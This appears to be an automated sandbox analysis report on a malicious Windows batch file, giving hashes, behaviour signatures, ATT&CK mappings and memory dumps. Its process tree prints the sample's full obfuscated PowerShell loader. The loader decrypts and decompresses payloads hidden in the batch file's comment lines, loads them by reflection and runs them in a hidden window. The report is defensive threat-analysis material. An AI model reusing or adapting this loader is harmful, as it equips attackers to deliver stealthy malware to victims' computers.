69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0

Analysis

max time kernel
121s
max time network
123s
platform
windows7_x64
resource
win7-20241023-en
resource tags

arch:x64arch:x86image:win7-20241023-enlocale:en-usos:windows7-x64system
submitted
28-01-2025 06:24

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General

Target

69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0.bat
Size

3.5MB
MD5

baea34214aa1a2aa90de5d0b3d841882
SHA1

5206d25733b9fcf0c4b52fb3002b8f5def87699d
SHA256

69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0
SHA512

7e906e15de93a06eb763d069ea07ca763e4e0fe0d8cb3a804aded05ac5063d65ef09fa2d130abce268d1c3fcee96b28701f6d1b9a612bd1b1dbcd0f0b53a5d3d
SSDEEP

49152:a066fNaUEnvOthWSIdX+H3bjAq+hbPVjS:n

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
752	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
752	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	752	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1556 wrote to memory of 2672	1556	cmd.exe	31
PID 1556 wrote to memory of 2672	1556	cmd.exe	31
PID 1556 wrote to memory of 2672	1556	cmd.exe	31
PID 1556 wrote to memory of 752	1556	cmd.exe	32
PID 1556 wrote to memory of 752	1556	cmd.exe	32
PID 1556 wrote to memory of 752	1556	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1556
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function pPrLV($xjezz){ $wMHou=[System.Security.Cryptography.Aes]::Create(); $wMHou.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wMHou.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wMHou.Key=[System.Convert]::FromBase64String('lO1Vwq/nj9Puc/oGonhZjSQq/nzSWIn0lm/0BxXEcbE='); $wMHou.IV=[System.Convert]::FromBase64String('Z8/xZ+jsEzHKXXOs4H9TJQ=='); $LmFjs=$wMHou.CreateDecryptor(); $ZsDwh=$LmFjs.TransformFinalBlock($xjezz, 0, $xjezz.Length); $LmFjs.Dispose(); $wMHou.Dispose(); $ZsDwh;}function gbxhW($xjezz){ IEX '$Ovdns=New-Object System.IO.M*em*or*yS*tr*ea*m(,$xjezz);'.Replace('*', ''); IEX '$pBnCe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$KPnRz=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Ovdns, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $KPnRz.CopyTo($pBnCe); $KPnRz.Dispose(); $Ovdns.Dispose(); $pBnCe.Dispose(); $pBnCe.ToArray();}function DUZhs($xjezz,$VPKjP){ IEX '$osgqK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$xjezz);'.Replace('*', ''); IEX '$vIuGg=$osgqK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$vIuGg.*I*n*v*o*k*e*($null, $VPKjP);'.Replace('*', '');}$IVcAh = 'C:\Users\Admin\AppData\Local\Temp\69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0.bat';$host.UI.RawUI.WindowTitle = $IVcAh;$vvRPw=[System.IO.File]::ReadAllText($IVcAh).Split([Environment]::NewLine);foreach ($OSbaK in $vvRPw) { if ($OSbaK.StartsWith(':: ')) { $wgCug=$OSbaK.Substring(3); break; }}$IWIwq=[string[]]$wgCug.Split('\');IEX '$VTaqv=gbxhW (pPrLV ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($IWIwq[0])));'.Replace('*', '');IEX '$ZEjBw=gbxhW (pPrLV ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($IWIwq[1])));'.Replace('*', '');DUZhs $VTaqv $null;DUZhs $ZEjBw (,[string[]] ('')); "
  2⤵
  PID:2672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/752-4-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download
memory/752-5-0x000000001B740000-0x000000001BA22000-memory.dmp

Filesize
2.9MB

Download
memory/752-6-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/752-7-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/752-8-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/752-9-0x000007FEF5930000-0x000007FEF62CD000-memory.dmp

Filesize
9.6MB

Download
memory/752-10-0x000007FEF5BEE000-0x000007FEF5BEF000-memory.dmp

Filesize
4KB

Download